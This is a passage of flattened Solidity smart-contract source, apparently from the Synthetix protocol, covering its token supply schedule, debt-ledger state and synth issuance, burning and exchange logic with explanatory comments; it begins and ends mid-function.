public { // ScheduleData(totalSupply, startPeriod, endPeriod, totalSupplyMinted) // Year 1 - Total supply 100,000,000 schedules[0] = ScheduleData(1e8 * SafeDecimalMath.unit(), START_DATE, YEAR_ONE - 1, 1e8 * SafeDecimalMath.unit()); schedules[1] = ScheduleData(75e6 * SafeDecimalMath.unit(), YEAR_ONE, YEAR_TWO - 1, 0); // Year 2 - Total supply 175,000,000 schedules[2] = ScheduleData(37.5e6 * SafeDecimalMath.unit(), YEAR_TWO, YEAR_THREE - 1, 0); // Year 3 - Total supply 212,500,000 schedules[3] = ScheduleData(18.75e6 * SafeDecimalMath.unit(), YEAR_THREE, YEAR_FOUR - 1, 0); // Year 4 - Total supply 231,250,000 schedules[4] = ScheduleData(9.375e6 * SafeDecimalMath.unit(), YEAR_FOUR, YEAR_FIVE - 1, 0); // Year 5 - Total supply 240,625,000 schedules[5] = ScheduleData(4.6875e6 * SafeDecimalMath.unit(), YEAR_FIVE, YEAR_SIX - 1, 0); // Year 6 - Total supply 245,312,500 schedules[6] = ScheduleData(0, YEAR_SIX, YEAR_SEVEN - 1, 0); // Year 7 - Total supply 245,312,500 } // ========== SETTERS ========== */ function setSynthetix(Synthetix _synthetix) external onlyOwner { synthetix = _synthetix; // emit event } // ========== VIEWS ========== function mintableSupply() public view returns (uint) { if (!isMintable()) { return 0; } uint index = getCurrentSchedule(); // Calculate previous year&#39;s mintable supply uint amountPreviousPeriod = _remainingSupplyFromPreviousYear(index); /* solium-disable */ // Last mint event within current period will use difference in (now - lastMintEvent) // Last mint event not set (0) / outside of current Period will use current Period // start time resolved in (now - schedule.startPeriod) ScheduleData memory schedule = schedules[index]; uint weeksInPeriod = (schedule.endPeriod - schedule.startPeriod).div(mintPeriodDuration); uint supplyPerWeek = schedule.totalSupply.divideDecimal(weeksInPeriod); uint weeksToMint = lastMintEvent >= schedule.startPeriod ? _numWeeksRoundedDown(now.sub(lastMintEvent)) : _numWeeksRoundedDown(now.sub(schedule.startPeriod)); // /* solium-enable */ uint amountInPeriod = supplyPerWeek.multiplyDecimal(weeksToMint); return amountInPeriod.add(amountPreviousPeriod); } function _numWeeksRoundedDown(uint _timeDiff) public view returns (uint) { // Take timeDiff in seconds (Dividend) and mintPeriodDuration as (Divisor) // Calculate the numberOfWeeks since last mint rounded down to 1 week // Fraction of a week will return 0 return _timeDiff.div(mintPeriodDuration); } function isMintable() public view returns (bool) { bool mintable = false; if (now - lastMintEvent > mintPeriodDuration && now <= schedules[6].endPeriod) // Ensure time is not after end of Year 7 { mintable = true; } return mintable; } // Return the current schedule based on the timestamp // applicable based on startPeriod and endPeriod function getCurrentSchedule() public view returns (uint) { require(now <= schedules[6].endPeriod, "Mintable periods have ended"); for (uint i = 0; i < INFLATION_SCHEDULES_LENGTH; i++) { if (schedules[i].startPeriod <= now && schedules[i].endPeriod >= now) { return i; } } } function _remainingSupplyFromPreviousYear(uint currentSchedule) internal view returns (uint) { // All supply has been minted for previous period if last minting event is after // the endPeriod for last year if (currentSchedule == 0 || lastMintEvent > schedules[currentSchedule - 1].endPeriod) { return 0; } // return the remaining supply to be minted for previous period missed uint amountInPeriod = schedules[currentSchedule - 1].totalSupply.sub(schedules[currentSchedule - 1].totalSupplyMinted); // Ensure previous period remaining amount is not less than 0 if (amountInPeriod < 0) { return 0; } return amountInPeriod; } // ========== MUTATIVE FUNCTIONS ========== function updateMintValues() external onlySynthetix returns (bool) { // Will fail if the time is outside of schedules uint currentIndex = getCurrentSchedule(); uint lastPeriodAmount = _remainingSupplyFromPreviousYear(currentIndex); uint currentPeriodAmount = mintableSupply().sub(lastPeriodAmount); // Update schedule[n - 1].totalSupplyMinted if (lastPeriodAmount > 0) { schedules[currentIndex - 1].totalSupplyMinted = schedules[currentIndex - 1].totalSupplyMinted.add(lastPeriodAmount); } // Update schedule.totalSupplyMinted for currentSchedule schedules[currentIndex].totalSupplyMinted = schedules[currentIndex].totalSupplyMinted.add(currentPeriodAmount); // Update mint event to now lastMintEvent = now; emit SupplyMinted(lastPeriodAmount, currentPeriodAmount, currentIndex, now); return true; } function setMinterReward(uint _amount) external onlyOwner { minterReward = _amount; emit MinterRewardUpdated(_amount); } // ========== MODIFIERS ========== modifier onlySynthetix() { require(msg.sender == address(synthetix), "Only the synthetix contract can perform this action"); _; } /* ========== EVENTS ========== */ event SupplyMinted(uint previousPeriodAmount, uint currentAmount, uint indexed schedule, uint timestamp); event MinterRewardUpdated(uint newRewardAmount); } /* ----------------------------------------------------------------- FILE INFORMATION ----------------------------------------------------------------- file: LimitedSetup.sol version: 1.1 author: Anton Jurisevic date: 2018-05-15 ----------------------------------------------------------------- MODULE DESCRIPTION ----------------------------------------------------------------- A contract with a limited setup period. Any function modified with the setup modifier will cease to work after the conclusion of the configurable-length post-construction setup period. ----------------------------------------------------------------- */ /** * @title Any function decorated with the modifier this contract provides * deactivates after a specified setup period. */ contract LimitedSetup { uint setupExpiryTime; /** * @dev LimitedSetup Constructor. * @param setupDuration The time the setup period will last for. */ constructor(uint setupDuration) public { setupExpiryTime = now + setupDuration; } modifier onlyDuringSetup { require(now < setupExpiryTime, "Can only perform this action during setup"); _; } } /* ----------------------------------------------------------------- FILE INFORMATION ----------------------------------------------------------------- file: SynthetixState.sol version: 1.0 author: Kevin Brown date: 2018-10-19 ----------------------------------------------------------------- MODULE DESCRIPTION ----------------------------------------------------------------- A contract that holds issuance state and preferred currency of users in the Synthetix system. This contract is used side by side with the Synthetix contract to make it easier to upgrade the contract logic while maintaining issuance state. The Synthetix contract is also quite large and on the edge of being beyond the contract size limit without moving this information out to another contract. The first deployed contract would create this state contract, using it as its store of issuance data. When a new contract is deployed, it links to the existing state contract, whose owner would then change its associated contract to the new one. ----------------------------------------------------------------- */ /** * @title Synthetix State * @notice Stores issuance information and preferred currency information of the Synthetix contract. */ contract SynthetixState is State, LimitedSetup { using SafeMath for uint; using SafeDecimalMath for uint; // A struct for handing values associated with an individual user&#39;s debt position struct IssuanceData { // Percentage of the total debt owned at the time // of issuance. This number is modified by the global debt // delta array. You can figure out a user&#39;s exit price and // collateralisation ratio using a combination of their initial // debt and the slice of global debt delta which applies to them. uint initialDebtOwnership; // This lets us know when (in relative terms) the user entered // the debt pool so we can calculate their exit price and // collateralistion ratio uint debtEntryIndex; } // Issued synth balances for individual fee entitlements and exit price calculations mapping(address => IssuanceData) public issuanceData; // The total count of people that have outstanding issued synths in any flavour uint public totalIssuerCount; // Global debt pool tracking uint[] public debtLedger; // Import state uint public importedXDRAmount; // A quantity of synths greater than this ratio // may not be issued against a given value of SNX. uint public issuanceRatio = SafeDecimalMath.unit() / 5; // No more synths may be issued than the value of SNX backing them. uint constant MAX_ISSUANCE_RATIO = SafeDecimalMath.unit(); // Users can specify their preferred currency, in which case all synths they receive // will automatically exchange to that preferred currency upon receipt in their wallet mapping(address => bytes4) public preferredCurrency; /** * @dev Constructor * @param _owner The address which controls this contract. * @param _associatedContract The ERC20 contract whose state this composes. */ constructor(address _owner, address _associatedContract) State(_owner, _associatedContract) LimitedSetup(1 weeks) public {} /* ========== SETTERS ========== */ /** * @notice Set issuance data for an address * @dev Only the associated contract may call this. * @param account The address to set the data for. * @param initialDebtOwnership The initial debt ownership for this address. */ function setCurrentIssuanceData(address account, uint initialDebtOwnership) external onlyAssociatedContract { issuanceData[account].initialDebtOwnership = initialDebtOwnership; issuanceData[account].debtEntryIndex = debtLedger.length; } /** * @notice Clear issuance data for an address * @dev Only the associated contract may call this. * @param account The address to clear the data for. */ function clearIssuanceData(address account) external onlyAssociatedContract { delete issuanceData[account]; } /** * @notice Increment the total issuer count * @dev Only the associated contract may call this. */ function incrementTotalIssuerCount() external onlyAssociatedContract { totalIssuerCount = totalIssuerCount.add(1); } /** * @notice Decrement the total issuer count * @dev Only the associated contract may call this. */ function decrementTotalIssuerCount() external onlyAssociatedContract { totalIssuerCount = totalIssuerCount.sub(1); } /** * @notice Append a value to the debt ledger * @dev Only the associated contract may call this. * @param value The new value to be added to the debt ledger. */ function appendDebtLedgerValue(uint value) external onlyAssociatedContract { debtLedger.push(value); } /** * @notice Set preferred currency for a user * @dev Only the associated contract may call this. * @param account The account to set the preferred currency for * @param currencyKey The new preferred currency */ function setPreferredCurrency(address account, bytes4 currencyKey) external onlyAssociatedContract { preferredCurrency[account] = currencyKey; } /** * @notice Set the issuanceRatio for issuance calculations. * @dev Only callable by the contract owner. */ function setIssuanceRatio(uint _issuanceRatio) external onlyOwner { require(_issuanceRatio <= MAX_ISSUANCE_RATIO, "New issuance ratio cannot exceed MAX_ISSUANCE_RATIO"); issuanceRatio = _issuanceRatio; emit IssuanceRatioUpdated(_issuanceRatio); } /** * @notice Import issuer data from the old Synthetix contract before multicurrency * @dev Only callable by the contract owner, and only for 1 week after deployment. */ function importIssuerData(address[] accounts, uint[] sUSDAmounts) external onlyOwner onlyDuringSetup { require(accounts.length == sUSDAmounts.length, "Length mismatch"); for (uint8 i = 0; i < accounts.length; i++) { _addToDebtRegister(accounts[i], sUSDAmounts[i]); } } /** * @notice Import issuer data from the old Synthetix contract before multicurrency * @dev Only used from importIssuerData above, meant to be disposable */ function _addToDebtRegister(address account, uint amount) internal { // This code is duplicated from Synthetix so that we can call it directly here // during setup only. Synthetix synthetix = Synthetix(associatedContract); // What is the value of the requested debt in XDRs? uint xdrValue = synthetix.effectiveValue("sUSD", amount, "XDR"); // What is the value that we&#39;ve previously imported? uint totalDebtIssued = importedXDRAmount; // What will the new total be including the new value? uint newTotalDebtIssued = xdrValue.add(totalDebtIssued); // Save that for the next import. importedXDRAmount = newTotalDebtIssued; // What is their percentage (as a high precision int) of the total debt? uint debtPercentage = xdrValue.divideDecimalRoundPrecise(newTotalDebtIssued); // And what effect does this percentage have on the global debt holding of other issuers? // The delta specifically needs to not take into account any existing debt as it&#39;s already // accounted for in the delta from when they issued previously. // The delta is a high precision integer. uint delta = SafeDecimalMath.preciseUnit().sub(debtPercentage); uint existingDebt = synthetix.debtBalanceOf(account, "XDR"); // And what does their debt ownership look like including this previous stake? if (existingDebt > 0) { debtPercentage = xdrValue.add(existingDebt).divideDecimalRoundPrecise(newTotalDebtIssued); } // Are they a new issuer? If so, record them. if (issuanceData[account].initialDebtOwnership == 0) { totalIssuerCount = totalIssuerCount.add(1); } // Save the debt entry parameters issuanceData[account].initialDebtOwnership = debtPercentage; issuanceData[account].debtEntryIndex = debtLedger.length; // And if we&#39;re the first, push 1 as there was no effect to any other holders, otherwise push // the change for the rest of the debt holders. The debt ledger holds high precision integers. if (debtLedger.length > 0) { debtLedger.push( debtLedger[debtLedger.length - 1].multiplyDecimalRoundPrecise(delta) ); } else { debtLedger.push(SafeDecimalMath.preciseUnit()); } } /* ========== VIEWS ========== */ /** * @notice Retrieve the length of the debt ledger array */ function debtLedgerLength() external view returns (uint) { return debtLedger.length; } /** * @notice Retrieve the most recent entry from the debt ledger */ function lastDebtLedgerEntry() external view returns (uint) { return debtLedger[debtLedger.length - 1]; } /** * @notice Query whether an account has issued and has an outstanding debt balance * @param account The address to query for */ function hasIssued(address account) external view returns (bool) { return issuanceData[account].initialDebtOwnership > 0; } event IssuanceRatioUpdated(uint newRatio); } /** * @title SynthetixEscrow interface */ interface ISynthetixEscrow { function balanceOf(address account) public view returns (uint); function appendVestingEntry(address account, uint quantity) public; } /* ----------------------------------------------------------------- FILE INFORMATION ----------------------------------------------------------------- file: Synthetix.sol version: 2.0 author: Kevin Brown Gavin Conway date: 2018-09-14 ----------------------------------------------------------------- MODULE DESCRIPTION ----------------------------------------------------------------- Synthetix token contract. SNX is a transferable ERC20 token, and also give its holders the following privileges. An owner of SNX has the right to issue synths in all synth flavours. After a fee period terminates, the duration and fees collected for that period are computed, and the next period begins. Thus an account may only withdraw the fees owed to them for the previous period, and may only do so once per period. Any unclaimed fees roll over into the common pot for the next period. == Average Balance Calculations == The fee entitlement of a synthetix holder is proportional to their average issued synth balance over the last fee period. This is computed by measuring the area under the graph of a user&#39;s issued synth balance over time, and then when a new fee period begins, dividing through by the duration of the fee period. We need only update values when the balances of an account is modified. This occurs when issuing or burning for issued synth balances, and when transferring for synthetix balances. This is for efficiency, and adds an implicit friction to interacting with SNX. A synthetix holder pays for his own recomputation whenever he wants to change his position, which saves the foundation having to maintain a pot dedicated to resourcing this. A hypothetical user&#39;s balance history over one fee period, pictorially: s ____ | | | |___ p |____|___|___ __ _ _ f t n Here, the balance was s between times f and t, at which time a transfer occurred, updating the balance to p, until n, when the present transfer occurs. When a new transfer occurs at time n, the balance being p, we must: - Add the area p * (n - t) to the total area recorded so far - Update the last transfer time to n So if this graph represents the entire current fee period, the average SNX held so far is ((t-f)*s + (n-t)*p) / (n-f). The complementary computations must be performed for both sender and recipient. Note that a transfer keeps global supply of SNX invariant. The sum of all balances is constant, and unmodified by any transfer. So the sum of all balances multiplied by the duration of a fee period is also constant, and this is equivalent to the sum of the area of every user&#39;s time/balance graph. Dividing through by that duration yields back the total synthetix supply. So, at the end of a fee period, we really do yield a user&#39;s average share in the synthetix supply over that period. A slight wrinkle is introduced if we consider the time r when the fee period rolls over. Then the previous fee period k-1 is before r, and the current fee period k is afterwards. If the last transfer took place before r, but the latest transfer occurred afterwards: k-1 | k s __|_ | | | | | |____ p |__|_|____|___ __ _ _ | f | t n r In this situation the area (r-f)*s contributes to fee period k-1, while the area (t-r)*s contributes to fee period k. We will implicitly consider a zero-value transfer to have occurred at time r. Their fee entitlement for the previous period will be finalised at the time of their first transfer during the current fee period, or when they query or withdraw their fee entitlement. In the implementation, the duration of different fee periods may be slightly irregular, as the check that they have rolled over occurs only when state-changing synthetix operations are performed. == Issuance and Burning == In this version of the synthetix contract, synths can only be issued by those that have been nominated by the synthetix foundation. Synths are assumed to be valued at $1, as they are a stable unit of account. All synths issued require a proportional value of SNX to be locked, where the proportion is governed by the current issuance ratio. This means for every $1 of SNX locked up, $(issuanceRatio) synths can be issued. i.e. to issue 100 synths, 100/issuanceRatio dollars of SNX need to be locked up. To determine the value of some amount of SNX(S), an oracle is used to push the price of SNX (P_S) in dollars to the contract. The value of S would then be: S * P_S. Any SNX that are locked up by this issuance process cannot be transferred. The amount that is locked floats based on the price of SNX. If the price of SNX moves up, less SNX are locked, so they can be issued against, or transferred freely. If the price of SNX moves down, more SNX are locked, even going above the initial wallet balance. ----------------------------------------------------------------- */ /** * @title Synthetix ERC20 contract. * @notice The Synthetix contracts not only facilitates transfers, exchanges, and tracks balances, * but it also computes the quantity of fees each synthetix holder is entitled to. */ contract Synthetix is ExternStateToken { // ========== STATE VARIABLES ========== // Available Synths which can be used with the system Synth[] public availableSynths; mapping(bytes4 => Synth) public synths; IFeePool public feePool; ISynthetixEscrow public escrow; ISynthetixEscrow public rewardEscrow; ExchangeRates public exchangeRates; SynthetixState public synthetixState; SupplySchedule public supplySchedule; bool private protectionCircuit = false; string constant TOKEN_NAME = "Synthetix Network Token"; string constant TOKEN_SYMBOL = "SNX"; uint8 constant DECIMALS = 18; bool public exchangeEnabled = true; // ========== CONSTRUCTOR ========== /** * @dev Constructor * @param _tokenState A pre-populated contract containing token balances. * If the provided address is 0x0, then a fresh one will be constructed with the contract owning all tokens. * @param _owner The owner of this contract. */ constructor(address _proxy, TokenState _tokenState, SynthetixState _synthetixState, address _owner, ExchangeRates _exchangeRates, IFeePool _feePool, SupplySchedule _supplySchedule, ISynthetixEscrow _rewardEscrow, ISynthetixEscrow _escrow, uint _totalSupply ) ExternStateToken(_proxy, _tokenState, TOKEN_NAME, TOKEN_SYMBOL, _totalSupply, DECIMALS, _owner) public { synthetixState = _synthetixState; exchangeRates = _exchangeRates; feePool = _feePool; supplySchedule = _supplySchedule; rewardEscrow = _rewardEscrow; escrow = _escrow; } // ========== SETTERS ========== */ function setFeePool(IFeePool _feePool) external optionalProxy_onlyOwner { feePool = _feePool; } function setExchangeRates(ExchangeRates _exchangeRates) external optionalProxy_onlyOwner { exchangeRates = _exchangeRates; } function setProtectionCircuit(bool _protectionCircuitIsActivated) external onlyOracle { protectionCircuit = _protectionCircuitIsActivated; } function setExchangeEnabled(bool _exchangeEnabled) external optionalProxy_onlyOwner { exchangeEnabled = _exchangeEnabled; } /** * @notice Add an associated Synth contract to the Synthetix system * @dev Only the contract owner may call this. */ function addSynth(Synth synth) external optionalProxy_onlyOwner { bytes4 currencyKey = synth.currencyKey(); require(synths[currencyKey] == Synth(0), "Synth already exists"); availableSynths.push(synth); synths[currencyKey] = synth; } /** * @notice Remove an associated Synth contract from the Synthetix system * @dev Only the contract owner may call this. */ function removeSynth(bytes4 currencyKey) external optionalProxy_onlyOwner { require(synths[currencyKey] != address(0), "Synth does not exist"); require(synths[currencyKey].totalSupply() == 0, "Synth supply exists"); require(currencyKey != "XDR", "Cannot remove XDR synth"); // Save the address we&#39;re removing for emitting the event at the end. address synthToRemove = synths[currencyKey]; // Remove the synth from the availableSynths array. for (uint8 i = 0; i < availableSynths.length; i++) { if (availableSynths[i] == synthToRemove) { delete availableSynths[i]; // Copy the last synth into the place of the one we just deleted // If there&#39;s only one synth, this is synths[0] = synths[0]. // If we&#39;re deleting the last one, it&#39;s also a NOOP in the same way. availableSynths[i] = availableSynths[availableSynths.length - 1]; // Decrease the size of the array by one. availableSynths.length--; break; } } // And remove it from the synths mapping delete synths[currencyKey]; // Note: No event here as our contract exceeds max contract size // with these events, and it&#39;s unlikely people will need to // track these events specifically. } // ========== VIEWS ========== /** * @notice A function that lets you easily convert an amount in a source currency to an amount in the destination currency * @param sourceCurrencyKey The currency the amount is specified in * @param sourceAmount The source amount, specified in UNIT base * @param destinationCurrencyKey The destination currency */ function effectiveValue(bytes4 sourceCurrencyKey, uint sourceAmount, bytes4 destinationCurrencyKey) public view returns (uint) { return exchangeRates.effectiveValue(sourceCurrencyKey, sourceAmount, destinationCurrencyKey); } /** * @notice Total amount of synths issued by the system, priced in currencyKey * @param currencyKey The currency to value the synths in */ function totalIssuedSynths(bytes4 currencyKey) public view rateNotStale(currencyKey) returns (uint) { uint total = 0; uint currencyRate = exchangeRates.rateForCurrency(currencyKey); require(!exchangeRates.anyRateIsStale(availableCurrencyKeys()), "Rates are stale"); for (uint8 i = 0; i < availableSynths.length; i++) { // What&#39;s the total issued value of that synth in the destination currency? // Note: We&#39;re not using our effectiveValue function because we don&#39;t want to go get the // rate for the destination currency and check if it&#39;s stale repeatedly on every // iteration of the loop uint synthValue = availableSynths[i].totalSupply() .multiplyDecimalRound(exchangeRates.rateForCurrency(availableSynths[i].currencyKey())) .divideDecimalRound(currencyRate); total = total.add(synthValue); } return total; } /** * @notice Returns the currencyKeys of availableSynths for rate checking */ function availableCurrencyKeys() public view returns (bytes4[]) { bytes4[] memory availableCurrencyKeys = new bytes4[](availableSynths.length); for (uint8 i = 0; i < availableSynths.length; i++) { availableCurrencyKeys[i] = availableSynths[i].currencyKey(); } return availableCurrencyKeys; } /** * @notice Returns the count of available synths in the system, which you can use to iterate availableSynths */ function availableSynthCount() public view returns (uint) { return availableSynths.length; } // ========== MUTATIVE FUNCTIONS ========== /** * @notice ERC20 transfer function. */ function transfer(address to, uint value) public returns (bool) { bytes memory empty; return transfer(to, value, empty); } /** * @notice ERC223 transfer function. Does not conform with the ERC223 spec, as: * - Transaction doesn&#39;t revert if the recipient doesn&#39;t implement tokenFallback() * - Emits a standard ERC20 event without the bytes data parameter so as not to confuse * tooling such as Etherscan. */ function transfer(address to, uint value, bytes data) public optionalProxy returns (bool) { // Ensure they&#39;re not trying to exceed their locked amount require(value <= transferableSynthetix(messageSender), "Insufficient balance"); // Perform the transfer: if there is a problem an exception will be thrown in this call. _transfer_byProxy(messageSender, to, value, data); return true; } /** * @notice ERC20 transferFrom function. */ function transferFrom(address from, address to, uint value) public returns (bool) { bytes memory empty; return transferFrom(from, to, value, empty); } /** * @notice ERC223 transferFrom function. Does not conform with the ERC223 spec, as: * - Transaction doesn&#39;t revert if the recipient doesn&#39;t implement tokenFallback() * - Emits a standard ERC20 event without the bytes data parameter so as not to confuse * tooling such as Etherscan. */ function transferFrom(address from, address to, uint value, bytes data) public optionalProxy returns (bool) { // Ensure they&#39;re not trying to exceed their locked amount require(value <= transferableSynthetix(from), "Insufficient balance"); // Perform the transfer: if there is a problem, // an exception will be thrown in this call. _transferFrom_byProxy(messageSender, from, to, value, data); return true; } /** * @notice Function that allows you to exchange synths you hold in one flavour for another. * @param sourceCurrencyKey The source currency you wish to exchange from * @param sourceAmount The amount, specified in UNIT of source currency you wish to exchange * @param destinationCurrencyKey The destination currency you wish to obtain. * @param destinationAddress Deprecated. Will always send to messageSender * @return Boolean that indicates whether the transfer succeeded or failed. */ function exchange(bytes4 sourceCurrencyKey, uint sourceAmount, bytes4 destinationCurrencyKey, address destinationAddress) external optionalProxy // Note: We don&#39;t need to insist on non-stale rates because effectiveValue will do it for us. returns (bool) { require(sourceCurrencyKey != destinationCurrencyKey, "Exchange must use different synths"); require(sourceAmount > 0, "Zero amount"); // If protectionCircuit is true then we burn the synths through _internalLiquidation() if (protectionCircuit) { return _internalLiquidation( messageSender, sourceCurrencyKey, sourceAmount ); } else { // Pass it along, defaulting to the sender as the recipient. return _internalExchange( messageSender, sourceCurrencyKey, sourceAmount, destinationCurrencyKey, messageSender, true // Charge fee on the exchange ); } } /** * @notice Function that allows synth contract to delegate exchanging of a synth that is not the same sourceCurrency * @dev Only the synth contract can call this function * @param from The address to exchange / burn synth from * @param sourceCurrencyKey The source currency you wish to exchange from * @param sourceAmount The amount, specified in UNIT of source currency you wish to exchange * @param destinationCurrencyKey The destination currency you wish to obtain. * @param destinationAddress Where the result should go. * @return Boolean that indicates whether the transfer succeeded or failed. */ function synthInitiatedExchange( address from, bytes4 sourceCurrencyKey, uint sourceAmount, bytes4 destinationCurrencyKey, address destinationAddress ) external onlySynth returns (bool) { require(sourceCurrencyKey != destinationCurrencyKey, "Can&#39;t be same synth"); require(sourceAmount > 0, "Zero amount"); // Pass it along return _internalExchange( from, sourceCurrencyKey, sourceAmount, destinationCurrencyKey, destinationAddress, false // Don&#39;t charge fee on the exchange, as they&#39;ve already been charged a transfer fee in the synth contract ); } /** * @notice Function that allows synth contract to delegate sending fee to the fee Pool. * @dev Only the synth contract can call this function. * @param from The address fee is coming from. * @param sourceCurrencyKey source currency fee from. * @param sourceAmount The amount, specified in UNIT of source currency. * @return Boolean that indicates whether the transfer succeeded or failed. */ function synthInitiatedFeePayment( address from, bytes4 sourceCurrencyKey, uint sourceAmount ) external onlySynth returns (bool) { // Allow fee to be 0 and skip minting XDRs to feePool if (sourceAmount == 0) { return true; } require(sourceAmount > 0, "Source can&#39;t be 0"); // Pass it along, defaulting to the sender as the recipient. bool result = _internalExchange( from, sourceCurrencyKey, sourceAmount, "XDR", feePool.FEE_ADDRESS(), false // Don&#39;t charge a fee on the exchange because this is already a fee ); // Tell the fee pool about this. feePool.feePaid(sourceCurrencyKey, sourceAmount); return result; } /** * @notice Function that allows synth contract to delegate sending fee to the fee Pool. * @dev fee pool contract address is not allowed to call function * @param from The address to move synth from * @param sourceCurrencyKey source currency from. * @param sourceAmount The amount, specified in UNIT of source currency. * @param destinationCurrencyKey The destination currency to obtain. * @param destinationAddress Where the result should go. * @param chargeFee Boolean to charge a fee for transaction. * @return Boolean that indicates whether the transfer succeeded or failed. */ function _internalExchange( address from, bytes4 sourceCurrencyKey, uint sourceAmount, bytes4 destinationCurrencyKey, address destinationAddress, bool chargeFee ) internal notFeeAddress(from) returns (bool) { require(exchangeEnabled, "Exchanging is disabled"); require(!exchangeRates.priceUpdateLock(), "Price update lock"); require(destinationAddress != address(0), "Zero destination"); require(destinationAddress != address(this), "Synthetix is invalid destination"); require(destinationAddress != address(proxy), "Proxy is invalid destination"); // Note: We don&#39;t need to check their balance as the burn() below will do a safe subtraction which requires // the subtraction to not overflow, which would happen if their balance is not sufficient. // Burn the source amount synths[sourceCurrencyKey].burn(from, sourceAmount); // How much should they get in the destination currency? uint destinationAmount = effectiveValue(sourceCurrencyKey, sourceAmount, destinationCurrencyKey); // What&#39;s the fee on that currency that we should deduct? uint amountReceived = destinationAmount; uint fee = 0; if (chargeFee) { amountReceived = feePool.amountReceivedFromExchange(destinationAmount); fee = destinationAmount.sub(amountReceived); } // Issue their new synths synths[destinationCurrencyKey].issue(destinationAddress, amountReceived); // Remit the fee in XDRs if (fee > 0) { uint xdrFeeAmount = effectiveValue(destinationCurrencyKey, fee, "XDR"); synths["XDR"].issue(feePool.FEE_ADDRESS(), xdrFeeAmount); // Tell the fee pool about this. feePool.feePaid("XDR", xdrFeeAmount); } // Nothing changes as far as issuance data goes because the total value in the system hasn&#39;t changed. // Call the ERC223 transfer callback if needed synths[destinationCurrencyKey].triggerTokenFallbackIfNeeded(from, destinationAddress, amountReceived); //Let the DApps know there was a Synth exchange emitSynthExchange(from, sourceCurrencyKey, sourceAmount, destinationCurrencyKey, amountReceived, destinationAddress); return true; } /** * @notice Function that burns the amount sent during an exchange in case the protection circuit is activated * @param from The address to move synth from * @param sourceCurrencyKey source currency from. * @param sourceAmount The amount, specified in UNIT of source currency. * @return Boolean that indicates whether the transfer succeeded or failed. */ function _internalLiquidation( address from, bytes4 sourceCurrencyKey, uint sourceAmount ) internal returns (bool) { // Burn the source amount synths[sourceCurrencyKey].burn(from, sourceAmount); return true; } /** * @notice Function that registers new synth as they are isseud. Calculate delta to append to synthetixState. * @dev Only internal calls from synthetix address. * @param currencyKey The currency to register synths in, for example sUSD or sAUD * @param amount The amount of synths to register with a base of UNIT */ function _addToDebtRegister(bytes4 currencyKey, uint amount) internal optionalProxy { // What is the value of the requested debt in XDRs? uint xdrValue = effectiveValue(currencyKey, amount, "XDR"); // What is the value of all issued synths of the system (priced in XDRs)? uint totalDebtIssued = totalIssuedSynths("XDR"); // What will the new total be including the new value? uint newTotalDebtIssued = xdrValue.add(totalDebtIssued); // What is their percentage (as a high precision int) of the total debt? uint debtPercentage = xdrValue.divideDecimalRoundPrecise(newTotalDebtIssued); // And what effect does this percentage change have on the global debt holding of other issuers? // The delta specifically needs to not take into account any existing debt as it&#39;s already // accounted for in the delta from when they issued previously. // The delta is a high precision integer. uint delta = SafeDecimalMath.preciseUnit().sub(debtPercentage); // How much existing debt do they have? uint existingDebt = debtBalanceOf(messageSender, "XDR"); // And what does their debt ownership look like including this previous stake? if (existingDebt > 0) { debtPercentage = xdrValue.add(existingDebt).divideDecimalRoundPrecise(newTotalDebtIssued); } // Are they a new issuer? If so, record them. if (!synthetixState.hasIssued(messageSender)) { synthetixState.incrementTotalIssuerCount(); } // Save the debt entry parameters synthetixState.setCurrentIssuanceData(messageSender, debtPercentage); // And if we&#39;re the first, push 1 as there was no effect to any other holders, otherwise push // the change for the rest of the debt holders. The debt ledger holds high precision integers. if (synthetixState.debtLedgerLength() > 0) { synthetixState.appendDebtLedgerValue( synthetixState.lastDebtLedgerEntry().multiplyDecimalRoundPrecise(delta) ); } else { synthetixState.appendDebtLedgerValue(SafeDecimalMath.preciseUnit()); } } /** * @notice Issue synths against the sender&#39;s SNX. * @dev Issuance is only allowed if the synthetix price isn&#39;t stale. Amount should be larger than 0. * @param currencyKey The currency you wish to issue synths in, for example sUSD or sAUD * @param amount The amount of synths you wish to issue with a base of UNIT */ function issueSynths(bytes4 currencyKey, uint amount) public optionalProxy // No need to check if price is stale, as it is checked in issuableSynths. { require(amount <= remainingIssuableSynths(messageSender, currencyKey), "Amount too large"); // Keep track of the debt they&#39;re about to create _addToDebtRegister(currencyKey, amount); // Create their synths synths[currencyKey].issue(messageSender, amount); // Store their locked SNX amount to determine their fee % for the period _appendAccountIssuanceRecord(); } /** * @notice Issue the maximum amount of Synths possible against the sender&#39;s SNX. * @dev Issuance is only allowed if the synthetix price isn&#39;t stale. * @param currencyKey The currency you wish to issue synths in, for example sUSD or sAUD */ function issueMaxSynths(bytes4 currencyKey) external optionalProxy { // Figure out the maximum we can issue in that currency uint maxIssuable = remainingIssuableSynths(messageSender, currencyKey); // And issue them issueSynths(currencyKey, maxIssuable); } /** * @notice Burn synths to clear issued synths/free SNX. * @param currencyKey The currency you&#39;re specifying to burn * @param amount The amount (in UNIT base) you wish to burn * @dev The amount to burn is debased to XDR&#39;s */ function burnSynths(bytes4 currencyKey, uint amount) external optionalProxy // No need to check for stale rates as effectiveValue checks rates { // How much debt do they have? uint debtToRemove = effectiveValue(currencyKey, amount, "XDR"); uint debt = debtBalanceOf(messageSender, "XDR"); uint debtInCurrencyKey = debtBalanceOf(messageSender, currencyKey); require(debt > 0, "No debt to forgive"); // If they&#39;re trying to burn more debt than they actually owe, rather than fail the transaction, let&#39;s just // clear their debt and leave them be. uint amountToRemove = debt < debtToRemove ? debt : debtToRemove; // Remove their debt from the ledger _removeFromDebtRegister(amountToRemove); uint amountToBurn = debtInCurrencyKey < amount ? debtInCurrencyKey : amount; // synth.burn does a safe subtraction on balance (so it will revert if there are not enough synths). synths[currencyKey].burn(messageSender, amountToBurn); // Store their debtRatio against a feeperiod to determine their fee/rewards % for the period _appendAccountIssuanceRecord(); } /** * @notice Store in the FeePool the users current debt value in the system in XDRs. * @dev debtBalanceOf(messageSender, "XDR") to be used with totalIssuedSynths("XDR") to get * users % of the system within a feePeriod. */ function _appendAccountIssuanceRecord() internal { uint initialDebtOwnership; uint debtEntryIndex; (initialDebtOwnership, debtEntryIndex) = synthetixState.issuanceData(messageSender); feePool.appendAccountIssuanceRecord( messageSender, initialDebtOwnership, debtEntryIndex ); } /** * @notice Remove a debt position from the register * @param amount The amount (in UNIT base) being presented in XDRs */ function _removeFromDebtRegister(uint amount) internal { uint debtToRemove = amount; // How much debt do they have? uint existingDebt = debtBalanceOf(messageSender, "XDR"); // What is the value of all issued synths of the system (priced in XDRs)? uint totalDebtIssued = 